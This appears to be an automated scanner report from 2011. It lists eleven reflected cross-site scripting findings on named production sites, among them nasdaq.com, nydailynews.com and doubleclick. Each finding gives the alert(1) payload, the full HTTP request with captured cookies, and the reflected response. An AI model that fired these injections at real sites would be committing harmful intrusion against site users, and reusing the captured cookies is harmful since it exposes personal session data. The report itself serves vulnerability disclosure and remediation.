Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


3. Cross-site scripting (reflected)  previous  next
There are 11 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


3.1. http://ol5u8o2ka38be34j62ktnefji390jhro-a-fc-opensocial.googleusercontent.com/gadgets/ifr [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ol5u8o2ka38be34j62ktnefji390jhro-a-fc-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The value of the url request parameter is copied into a JavaScript rest-of-line comment. The payload 8ddbb%0aalert(1)//c003bbec0a3 was submitted in the url parameter. This input was echoed as 8ddbb
alert(1)//c003bbec0a3
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gadgets/ifr?url=http://fcgadgets.appspot.com/spec/shareit.xml8ddbb%0aalert(1)//c003bbec0a3&container=peoplesense&parent=http://www.cloudscan.me/&mid=0&view=profile&libs=google.blog&d=0.555.7&lang=en&view-params=%7B%22skin%22:%7B%22FACE_SIZE%22:%2232%22,%22HEIGHT%22:%22200%22,%22TITLE%22:%22%22,%22BORDER_COLOR%22:%22transparent%22,%22ENDCAP_BG_COLOR%22:%22transparent%22,%22ENDCAP_TEXT_COLOR%22:%22%23666666%22,%22ENDCAP_LINK_COLOR%22:%22%233d74a5%22,%22ALTERNATE_BG_COLOR%22:%22transparent%22,%22CONTENT_BG_COLOR%22:%22transparent%22,%22CONTENT_LINK_COLOR%22:%22%233d74a5%22,%22CONTENT_TEXT_COLOR%22:%22%23666666%22,%22CONTENT_SECONDARY_LINK_COLOR%22:%22%233d74a5%22,%22CONTENT_SECONDARY_TEXT_COLOR%22:%22%23666666%22,%22CONTENT_HEADLINE_COLOR%22:%22%23666666%22,%22FONT_FACE%22:%22normal+normal+13px+Arial,+Tahoma,+Helvetica,+FreeSans,+sans-serif%22%7D%7D&communityId=00129212639365482611&caller=http://www.cloudscan.me/ HTTP/1.1
Host: ol5u8o2ka38be34j62ktnefji390jhro-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=209791819.1297360052.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=209791819.221028396.1297360052.1297360052.1297360052.1

Response

HTTP/1.1 400 Bad Request
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Date: Sun, 13 Feb 2011 17:02:07 GMT
Expires: Sun, 13 Feb 2011 17:02:07 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 116

Unable to retrieve spec for http://fcgadgets.appspot.com/spec/shareit.xml8ddbb
alert(1)//c003bbec0a3
. HTTP error 400

3.2. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://pubads.g.doubleclick.net
Path:   /gampad/ads

Issue detail

The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload 45346<script>alert(1)</script>4fca9463098 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gampad/ads?correlator=1297559568591&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&pstok=7x8euhoOfgsKAA&client=ca-pub-1718795974733941&slotname=Welcome_BOY_590x10045346<script>alert(1)</script>4fca9463098&page_slots=Welcome_Sponsor_915x35%2CWelcome_BOY_590x100&cust_params=country%3Dus%26section%3Dwelcome%26dma_code%3D807%26sk%3Dno%26signed_in%3Dno%26mode%3Dlive&cookie=ID%3D88a249b78df6bc1d%3AT%3D1297559504%3AS%3DALNI_MZOFPUdLgCVWFy_1SQbE0sH8_Xkzg&cookie_enabled=1&ga_vid=1385680281.1297559569&ga_sid=1297559569&ga_hid=1359938414&url=http%3A%2F%2Fwww.yelp.com%2F&lmt=1297581170&dt=1297559570030&cc=38&biw=932&bih=995&ifi=2&adk=79982350&u_tz=-360&u_his=1&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&flash=10.2.154 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.yelp.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sun, 13 Feb 2011 01:13:58 GMT
Server: gfp-be
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 1287

GA_googleSetAdContentsBySlotForSync({"Welcome_BOY_590x10045346<script>alert(1)</script>4fca9463098":{"_type_":"html","_expandable_":false,"_html_":"\x3c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"\x3e\x3chtml\x3e\x3chead\x3e\x3cstyle\x3ea:link{color:#f
...[SNIP]...

3.3. http://tap.rubiconproject.com/partner/agent/rubicon/channels.js [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tap.rubiconproject.com
Path:   /partner/agent/rubicon/channels.js

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 57ec8%3balert(1)//36e0362506e was submitted in the cb parameter. This input was echoed as 57ec8;alert(1)//36e0362506e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /partner/agent/rubicon/channels.js?cb=oz_onPixelsLoaded57ec8%3balert(1)//36e0362506e&pc=8000/12865 HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/asp/summaryquote.asp
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; put_1185=3011330574290390485; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%264970%3D1; cd=false; dq=41|5|36|0

Response

HTTP/1.1 200 OK
Date: Sun, 13 Feb 2011 02:09:14 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/javascript;charset=UTF-8
Content-Length: 963
Cache-control: private
Set-Cookie: khaos=GIPAEQ2D-C-IOYY; Domain=.rubiconproject.com; Expires=Mon, 11-Feb-2019 02:09:14 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Connection: close


var oo_profile={
tokenType : "0",
tracking : "4944",
tags : "Mortgage Refinance,Small Business,Business,Finance and Money,Finance,Inferred Male",
tagcloud : [
{ tag: "Mortgage Refinan
...[SNIP]...
2496,2202,2496,2203,2204,2189,2112,2497,2205,2355,2495,5838,3811,3512,2109,3812,2239,2190,2206,2113,2206,2113,4552,2765,6184,2240,4105,4193,2372,2373,2374,2375,"}
]
};


try {
oz_onPixelsLoaded57ec8;alert(1)//36e0362506e(oo_profile);
} catch(ignore) {}

3.4. http://www.nasdaq.com/asp/quotesannualreportlink.asp [selected parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.nasdaq.com
Path:   /asp/quotesannualreportlink.asp

Issue detail

The value of the selected request parameter is copied into the HTML document as plain text between tags. The payload 52278<a%20b%3dc>cae6a6be34e was submitted in the selected parameter. This input was echoed as 52278<a b=c>cae6a6be34e in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /asp/quotesannualreportlink.asp?symbol=1F3AB%22%3E%3CSCRIPT%3EALERT(1)%3C/SCRIPT%3EE57FDED90B5&selected=52278<a%20b%3dc>cae6a6be34e HTTP/1.1
Host: www.nasdaq.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __unam=2815966-12e1cbc0787-77fbaa35-1; __qca=P0-1594371823-1297562212822; userCookiePref=true; s_pers=%20bc%3D2%7C1297649203413%3B%20s_nr%3D1297562882505-New%7C1305338882505%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dnasdaqprod%253D%252526pid%25253DNASDAQ%25252520Stock%25252520Market%25252520-%25252520Stock%25252520Quotes%25252520-%25252520Stock%25252520Exchange%25252520News%25252520-%25252520NASDAQ.com%252526pidt%25253D1%252526oid%25253Djavascript%2525253AhtmlGo%25252528%25252527go%25252527%2525252C%25252527annualrpts%25252527%25252529%2525253B%252526ot%25253DA%3B; userSymbolList=1F3AB"><SCRIPT>ALERT(1)</SCRIPT>E57FDED90B5+

Response

HTTP/1.1 200 OK
Date: Sun, 13 Feb 2011 02:07:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 72642
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<script>

myP
...[SNIP]...
<b>52278<A B=C>CAE6A6BE34E</b>
...[SNIP]...

3.5. http://www.nydailynews.com/gossip/gatecrasher/index.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nydailynews.com
Path:   /gossip/gatecrasher/index.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cccf0'%3balert(1)//c9134517976 was submitted in the REST URL parameter 1. This input was echoed as cccf0';alert(1)//c9134517976 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gossipcccf0'%3balert(1)//c9134517976/gatecrasher/index.html HTTP/1.1
Host: www.nydailynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 13 Feb 2011 01:37:31 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Language: en
Content-Length: 70328
Set-Cookie: sto-id-sg-web-8080=BPACAKAK; Expires=Sun, 13-Feb-2011 02:38:03 GMT; Path=/

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="imagetoolbar" content="no" />
<meta property="og:site_name" conten
...[SNIP]...

jQuery.cookie('seen_nydn_ipad', 'yep', { expires: 7 });
document.location='http://www.nydailynews.com/services/apps/ipad/redir.html?u=http://www.nydailynews.com/gossipcccf0';alert(1)//c9134517976/gatecrasher/index.html';
}
//-->
...[SNIP]...

3.6. http://www.nydailynews.com/gossip/gatecrasher/index.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nydailynews.com
Path:   /gossip/gatecrasher/index.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fd08'%3balert(1)//21f61d47655 was submitted in the REST URL parameter 2. This input was echoed as 6fd08';alert(1)//21f61d47655 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gossip/gatecrasher6fd08'%3balert(1)//21f61d47655/index.html HTTP/1.1
Host: www.nydailynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 13 Feb 2011 01:38:30 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Language: en
Content-Length: 70328
Set-Cookie: sto-id-sg-web-8080=CBACAKAK; Expires=Sun, 13-Feb-2011 02:38:41 GMT; Path=/

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="imagetoolbar" content="no" />
<meta property="og:site_name" conten
...[SNIP]...
jQuery.cookie('seen_nydn_ipad', 'yep', { expires: 7 });
document.location='http://www.nydailynews.com/services/apps/ipad/redir.html?u=http://www.nydailynews.com/gossip/gatecrasher6fd08';alert(1)//21f61d47655/index.html';
}
//-->
...[SNIP]...

3.7. http://www.nydailynews.com/gossip/gatecrasher/index.html [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nydailynews.com
Path:   /gossip/gatecrasher/index.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96225'%3balert(1)//2a19ec9b863 was submitted in the REST URL parameter 3. This input was echoed as 96225';alert(1)//2a19ec9b863 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gossip/gatecrasher/index.html96225'%3balert(1)//2a19ec9b863 HTTP/1.1
Host: www.nydailynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 13 Feb 2011 01:38:39 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Language: en
Content-Length: 70328
Set-Cookie: sto-id-sg-web-8080=CBACAKAK; Expires=Sun, 13-Feb-2011 02:38:50 GMT; Path=/

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="imagetoolbar" content="no" />
<meta property="og:site_name" conten
...[SNIP]...
.cookie('seen_nydn_ipad', 'yep', { expires: 7 });
document.location='http://www.nydailynews.com/services/apps/ipad/redir.html?u=http://www.nydailynews.com/gossip/gatecrasher/index.html96225';alert(1)//2a19ec9b863';
}
//-->
...[SNIP]...

3.8. http://www.nasdaq.com/asp/quotesannualreportlink.asp [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.nasdaq.com
Path:   /asp/quotesannualreportlink.asp

Issue detail

The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35e10"-alert(1)-"15f0a8108b4 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /asp/quotesannualreportlink.asp?symbol=1F3AB%22%3E%3CSCRIPT%3EALERT(1)%3C/SCRIPT%3EE57FDED90B5&selected=1F3AB%22%3E%3CSCRIPT%3EALERT(1)%3C/SCRIPT%3EE57FDED90B5 HTTP/1.1
Host: www.nasdaq.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.1335e10"-alert(1)-"15f0a8108b4
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __unam=2815966-12e1cbc0787-77fbaa35-1; __qca=P0-1594371823-1297562212822; userCookiePref=true; s_pers=%20bc%3D2%7C1297649203413%3B%20s_nr%3D1297562882505-New%7C1305338882505%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dnasdaqprod%253D%252526pid%25253DNASDAQ%25252520Stock%25252520Market%25252520-%25252520Stock%25252520Quotes%25252520-%25252520Stock%25252520Exchange%25252520News%25252520-%25252520NASDAQ.com%252526pidt%25253D1%252526oid%25253Djavascript%2525253AhtmlGo%25252528%25252527go%25252527%2525252C%25252527annualrpts%25252527%25252529%2525253B%252526ot%25253DA%3B; userSymbolList=1F3AB"><SCRIPT>ALERT(1)</SCRIPT>E57FDED90B5+

Response

HTTP/1.1 200 OK
Date: Sun, 13 Feb 2011 02:07:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 72678
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<script>

myP
...[SNIP]...
teBoxSymbolArray[0] = "NDAQ";

var quoteBoxNumSymbols = 1;

var jsUserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.1335e10"-alert(1)-"15f0a8108b4";
</script>
...[SNIP]...

3.9. http://www.nasdaq.com/asp/summaryquote.asp [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.nasdaq.com
Path:   /asp/summaryquote.asp

Issue detail

The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1c7a3"-alert(1)-"e72dc6973cb was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /asp/summaryquote.asp HTTP/1.1
Host: www.nasdaq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)1c7a3"-alert(1)-"e72dc6973cb
Connection: close
Cookie: s_pers=%20s_nr%3D1297561675953-New%7C1305337675953%3B%20bc%3D1%7C1297648075955%3B; om_e=0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 13 Feb 2011 01:54:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 72979
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>


<!--*****
...[SNIP]...
pe="text/javascript">
var quoteBoxSelectedSymbol= "";

var quoteBoxSymbolArray = new Array(0);

var quoteBoxNumSymbols = 0;

var jsUserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)1c7a3"-alert(1)-"e72dc6973cb";
</script>
...[SNIP]...

3.10. http://news.nasdaq.com/aspxcontent/newsheadlines.aspx [User-Agent HTTP header]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://news.nasdaq.com
Path:   /aspxcontent/newsheadlines.aspx

Issue detail

The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 917b9"-alert(1)-"a9ab0427e4f was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /aspxcontent/newsheadlines.aspx HTTP/1.1
Host: news.nasdaq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)917b9"-alert(1)-"a9ab0427e4f
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sun, 13 Feb 2011 01:36:57 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: http://www.nasdaq.com/aspx/market-headlines.aspx
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 105374


<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 transitional//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title>Market Ne
...[SNIP]...
type="text/javascript">
var quoteBoxSelectedSymbol= "NDAQ";

var quoteBoxSymbolArray = new Array(0);

var quoteBoxNumSymbols = 0;

var jsUserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)917b9"-alert(1)-"a9ab0427e4f";
</script>
...[SNIP]...

3.11. http://seg.sharethis.com/getSegment.php [__stid cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://seg.sharethis.com
Path:   /getSegment.php

Issue detail

The value of the __stid cookie is copied into the HTML document as plain text between tags. The payload e1373<script>alert(1)</script>5f238b15df0 was submitted in the __stid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /getSegment.php?purl=http%3A%2F%2Fwww.rollcall.com%2Fnews%2F-203351-1.html&jsref=http%3A%2F%2Fdrudgereport.com%2F&rnd=1297559589713 HTTP/1.1
Host: seg.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.rollcall.com/news/-203351-1.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=Cs8yN00nznknhnUGHGW1Ag==e1373<script>alert(1)</script>5f238b15df0

Response

HTTP/1.1 200 OK
Server: nginx/0.8.47
Date: Sun, 13 Feb 2011 01:12:11 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"
Content-Length: 717


       <html>
       <head><title>ShareThis Segmenter</title></head>
       <body>
       
       
       <img src="http://b.scorecardresearch.com/p?c1=7&c2=8097938&cv=2.0&cj=1&rnd1297559531" alt=""/>
       
       
           <script type="text
